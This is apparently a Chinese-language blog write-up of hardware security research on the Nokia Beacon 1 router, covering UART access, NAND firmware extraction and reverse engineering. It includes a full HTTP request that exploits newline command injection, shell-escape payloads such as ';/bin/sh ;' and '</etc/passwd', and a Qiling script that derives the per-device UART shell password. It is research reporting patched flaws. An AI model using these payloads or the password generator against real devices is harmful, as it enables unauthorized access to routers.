诺基亚Beacon 1路由器漏洞挖掘实战:UART调试、命令注入与Qiling密码生成

本文详细记录了诺基亚Beacon 1路由器的完整硬件破解过程,涵盖硬件拆解、UART接口利用、固件提取、静态分析和动态仿真,发现了多个未公开漏洞并成功实现命令注入攻击。

诺基亚Beacon 1路由器破解:UART、命令注入与Qiling密码生成

在继续我的硬件黑客之旅中,我决定这次尝试破解一个路由器。诺基亚Beacon 1提供了一个有趣的研究过程,涵盖了从硬件调试接口到固件提取,最后进行静态和动态分析的完整技术谱系。我的努力获得了有趣的发现,包括一个(现已修补的)命令注入漏洞。

诺基亚Beacon 1是一款标准的网状Wi-Fi路由器,通常作为宽带套餐的一部分提供。它的变体相当常见且研究充分,之前的发现包括硬编码凭据和UART shell中的命令注入。

拆解

我有两台诺基亚Beacon路由器可用。由于诺基亚不发布固件包,而且我的变体只允许自动固件更新,我决定进行拆解以访问任何硬件调试接口。路由器看起来组装得很好,没有暴露的螺丝,但幸运的是这次我记住了从破解光网络终端(ONT)中获得的教训,检查了底部的贴纸下面,那里隐藏着两个额外的螺丝!这使我能够取出主板。

之后,我撬开了两个RF屏蔽罩以访问组件。

多亏了标签,不难弄清楚使用的主要组件:

  • Broadcom BCM68461KRFBG P11 BGA:电信集成电路
  • Broadcom BCM43217KMLG:Wi-Fi/网络集成电路
  • Broadcom BCM4352KMLG:Wi-Fi收发器
  • Nanya NT5CC128M16IP-DI:DRAM芯片
  • Macronx MX30LF1G18AC-TI:NAND存储器

受限UART Shell

了解到Beacon 1路由器的其他变体具有UART接口后,我开始寻找一个。从拆解照片中可以看到,三个引脚方便地标记在NAND存储芯片上方。

没费太多功夫,我就找出了对应于UART接口的TX、RX和GND引脚,并以标准的115200 Hz波特率连接。

最初,这启动了一个受限shell:

1
2
3
4
5
user> list
  enable
  help
  list
  show version

运行enable后,我可以访问一个限制稍少的shell:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
user> enable
user# list
  configure
  disable
  exit
  help
  list
  logout
  nslookup HOST [SERVER]
  ntp date
  ping [-c COUNT] [-s SIZE] [-I IFACE or ip] [-W SEC] [-w SEC] {hostname or ip} 
  shell
  show
  tftp (syslog|omci|voice) HOST
  traceroute [-m MAXTTL] [-p PORT] [-q NQUERIES] [-w WAIT_SEC] [-i IFACE] HOST [BYTES]

这很令人兴奋 - 有几个命令看起来非常适合命令注入,更不用说明显的shell命令了!

可惜尝试执行shell需要密码,而且没有一个明显的密码有效,包括其他研究人员之前发现的硬编码密码。

1
2
3
4
user# shell
Password2:

passwd invalid!

有趣的是,在其他变体中,密码提示曾经容易受到使用简单;/bin/sh ;负载的命令注入攻击,但现在不再有效。

然后我继续尽可能全面地进行枚举和测试。我发现像traceroute这样的一些命令容易受到参数注入的影响,但没有一个允许我突破到任意命令。受限shell检查大多数常见的shell突破字符,只留下不允许我做太多事情的I/O重定向字符<>,这没有帮助。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
user(show)# list
  ...
  network interface (IFNAME|all)
  ...

user(show)# network interface </etc/passwd
br0            Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX  
               inet addr:192.168.18.1  Bcast:192.168.18.255  Mask:255.255.255.0
               inet6 addr: fe80::1/64 Scope:Link
               UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
               RX packets:32988 errors:0 dropped:0 overruns:0 frame:0
               TX packets:2968 errors:0 dropped:0 overruns:0 carrier:0
               collisions:0 txqueuelen:0 
               RX bytes:7122397 (6.7 MiB)  TX bytes:815671 (796.5 KiB)

固件提取

在这一点上,我认为我已经在受限UART shell和手动测试方面走到了尽头。如果我想在受限shell或Web界面中发现漏洞,我需要直接分析固件。

由于我已经定位了NAND闪存芯片,我使用Hakko FV310热风枪在约380摄氏度下将其解焊。这是我第一次解焊芯片,所以我的技术相当差。我没有使用任何助焊剂,只是等到芯片连接处看起来"闪亮",然后用镊子轻轻将芯片从板上取下。

接下来,我使用XGecu T48编程器和TSOP48适配器读取芯片。根据在线规格表,我知道NAND闪存芯片使用TSOP48封装。

我没有拍摄芯片本身的照片,但这里有一张T48与另一个我分析过的TSOP48芯片的照片。

我花了一段时间才弄清楚的一件令人沮丧的事情是,适配器要求我将芯片放在顶部,然后按下以打开它,使芯片完全装入其中。否则,芯片只会躺在连接器上方并被读取为空白。

之后,从芯片读取很简单,因为XGecu软件为芯片型号提供了确切的绑定。

接下来,我需要从转储的数据中提取固件。不幸的是,虽然binwalk可以检测到UBI文件系统格式的一些魔术字节,但它未能正确提取。这导致我进入了一个兔子洞,尝试各种方法执行部分UBI提取或修复由binwalk提取的损坏的UBI文件。

然而,过了一段时间,我开始在转储文件中注意到一个模式 - 每2048字节后就有"无效"字节。在十六进制编辑器中滚动浏览文件时,这非常明显。

经过进一步研究,我偶然发现cn-sec上的一篇文章描述了一个与我的问题非常相似的问题!简而言之,直接内存转储并不直接对应于文件系统的外观,因为它们通常包括芯片用于错误检测的带外(OOB)数据。在我的情况下,数据表指出:设备具有一个用于数据加载和访问的2,112字节的片上缓冲区。每个2K字节页面有两个区域,一个是主区域,为2048字节,另一个是备用区域,为64字节。

本质上,我需要通过每2112字节删除备用64字节来清理转储文件。在用快速Python脚本完成此操作后,我的binwalk(实际上是ubireader的包装器)毫无问题地工作了!

硬件黑客热提示#4:在固件提取之前从内存转储中删除带外数据!

静态分析

有了提取的固件,我可以直接深入逆向工程Web和UART接口背后的二进制文件。特别是,所有与Web相关的二进制文件都位于/web目录中,该目录主要由CGI二进制文件和几个shell脚本组成。每个CGI二进制文件都有一个标准的CGIMain函数,其中包含该路径的Web处理程序逻辑。此外,它们使用了常见的共享函数,如CGIWriteHead、CGIGetPost、CGIGetQuery等,这使得理解函数的作用变得容易。

从那里,我直接搜索典型的危险函数,如system或popen。我在troubleshooting_web_app.cgi中发现了一个有趣的路径:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall CGIMain(int a1, int a2)
{
  v9 = (_BYTE *)CGIGetPost("waninterfacename");
  ...
  if ( !sub_14390(v9) )
  {
    if ( v6 )
      free(v6);
    if ( v7 )
      free(v7);
    if ( v8 )
      free(v8);
    if ( v9 )
      free(v9);
    if ( v10 )
      free(v10);
    app_result(0);
    return 0;
  }
  ...
  if ( v9 && *v9 )
  {
    if ( isBeaconVariant(v16) )
      v23 = "rm -f /tmp/Ifacedump.txt";
    else
      v23 = "/usr/sbin/cs_sudo rm -f /tmp/Ifacedump.txt";
    system(v23);
    strcpy(command, " ");
    sprintf(command, "ifconfig %s >> /tmp/Ifacedump.txt 2>&1", v9);
    system(command);
    ...
}

这很有希望 - v9是从waninterfacename POST主体参数中提取的,并最终传递给system()调用!然而,还有一个sub_14390函数,它似乎是某种验证器或清理器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall sub_14390(char *s)
{
  int i; // r4
  int v3; // r1

  if ( !s )
    return 1;
  for ( i = 0; i != 36; i += 6 )
  {
    v3 = byte_15A04[i];
    if ( strchr(s, v3) )
    {
      customer_log_log(
        6,

        "isSecurityString",
        s);
      return 0;
    }
  }
  return 1;
}

确实,它似乎针对黑名单(byte_15A04)检查各种shell转义字符。然而,在检查这个列表后,我意识到它不包括换行符0x0A字符,该字符仍然可以在shell命令中用作突破字符!

因此以下请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
POST /troubleshooting_web_app.cgi?ping HTTP/1.1
Host: 192.168.18.1
Connection: keep-alive
Content-Length: 213
Accept-Language: en-GB,en;q=0.9
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate, br
Cookie: ...

wan_conlist=2&ipaddress=127.0.0.1&direction=rx&status=enable&domain=&wan_port=WAN&waninterfacename=ewan_1091_4_1%0awhoami%0a&portstatus=Disconnected&lan_port=null&csrf_token=pTdrsjSczaAoECVi

将实现任意命令执行。我以类似的方式发现了另外几个命令注入,但所有这些都是在我提取的固件(我的固件是较旧版本)上最新版本的Beacon 1固件中已修补的。

在这一点上,我也开始研究UART shell的密码。虽然Beacon 1之前使用了硬编码密码,但这似乎已经改变,没有人发现密码是什么。

经过一些探索,我发现UART shell的逻辑可能位于vtysh二进制文件中。特别是,密码似乎是由从libsec_engine.so库导入的gen_varlen_vtyshpw函数生成的。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
int sub_1393C()
{
  ...
  if ( scfg_get("G984Serial", s, 128) < 0 )
    {
      perror("Cannot get scfg\n");
      return -1;
    }
    else
    {
      snprintf(
        v4,
        9u,
        "%02x%02x%02x%02x",
        (unsigned __int8)s[0],
        (unsigned __int8)s[1],
        (unsigned __int8)s[2],
        (unsigned __int8)s[3]);
      v0 = strlen(v4);
      gen_varlen_vtyshpw(v4, v0, 12, s2, "07");
      fwrite("Password:", 1u, 9u, (FILE *)stdout);

有趣的是,似乎设备的序列号用于密码生成,这意味着每个设备将有一个唯一的密码!这解释了为什么似乎没有人找到UART shell的通用密码。

动态分析

密码生成函数变得更加复杂,包括执行加密操作和从/usr/etc/se_k.enc.dat文件中的关键数据读取。静态分析这将非常繁琐,而我只想获取密码,我现在知道这是基于每个设备的序列号进行密钥处理的。

相反,我决定使用Qiling模拟器跳转到生成密码的sub_1393C函数,通过劫持scfg_get调用直接注入序列号,并打印生成的密码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from qiling import Qiling
from qiling.const import QL_VERBOSE, QL_INTERCEPT
import sys
from qiling.extensions import pipe
from qiling.os.const import STRING, PARAM_PTRX, PARAM_INT32

def hook_open(ql: Qiling, pathname_ptr: int, flags: int, mode: int, retval: int):
    filename = ql.mem.string(pathname_ptr)
    if filename == '' and retval == 3:
        ql.arch.regs.pc = 0x1393C        

    return None

def my_scfg_get(ql: Qiling):
    params = ql.os.resolve_fcall_params({'cfg_name': STRING, 'cfg_buffer': PARAM_PTRX, 'buf_size': PARAM_INT32})
    # modify to your serial
    my_serial = b'\x00\x00\x00\x00'

    # Write the bytes to the buffer in the emulated memory
    ql.mem.write(params['cfg_buffer'], my_serial)
    
    return 1

def my_gen_varlen_vtyshpw_enter(ql: Qiling):
    params = ql.os.resolve_fcall_params({'serial': STRING, 'serial_len': PARAM_INT32, 'dst_len': PARAM_INT32, 'dst': STRING })
    print(params)
    
def my_gen_varlen_vtyshpw_exit(ql: Qiling):
    params = ql.os.resolve_fcall_params({'serial': PARAM_PTRX, 'serial_len': STRING, 'dst_len': PARAM_INT32, 'dst': PARAM_PTRX })
    print(params)

if __name__ == "__main__":
    # set up command line argv and emulated os root path
    argv = r'squashfs-root-0/usr/sbin/vtysh -c'.split()
    rootfs = r'squashfs-root-0'

    ql = Qiling(argv, rootfs, multithread=True, verbose=QL_VERBOSE.DEBUG)

    # Hook a specific open call to begin jump to target function
    ql.os.set_syscall('open', hook_open, QL_INTERCEPT.EXIT)
    ql.os.set_api("scfg_get", my_scfg_get, QL_INTERCEPT.CALL)
    ql.os.set_api("gen_varlen_vtyshpw", my_gen_varlen_vtyshpw_enter, QL_INTERCEPT.ENTER)
    ql.os.set_api("gen_varlen_vtyshpw", my_gen_varlen_vtyshpw_exit, QL_INTERCEPT.EXIT)
    
    ql.run()

虽然这似乎有效,但我无法在同一设备上测试它,因为我已经移除了存储芯片,而另一台设备已更新到使用不同密码提示(Password2)的更新固件。

结论

诺基亚Beacon 1是各种硬件黑客技术的非常有用的训练场。不幸的是,我的固件转储是较早版本,但我设法发现了几个未公开的漏洞,即使它们已经被修补。

如果我有时间,我想获取另一台Beacon,以便重新分析修补后的固件并测试密码生成。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计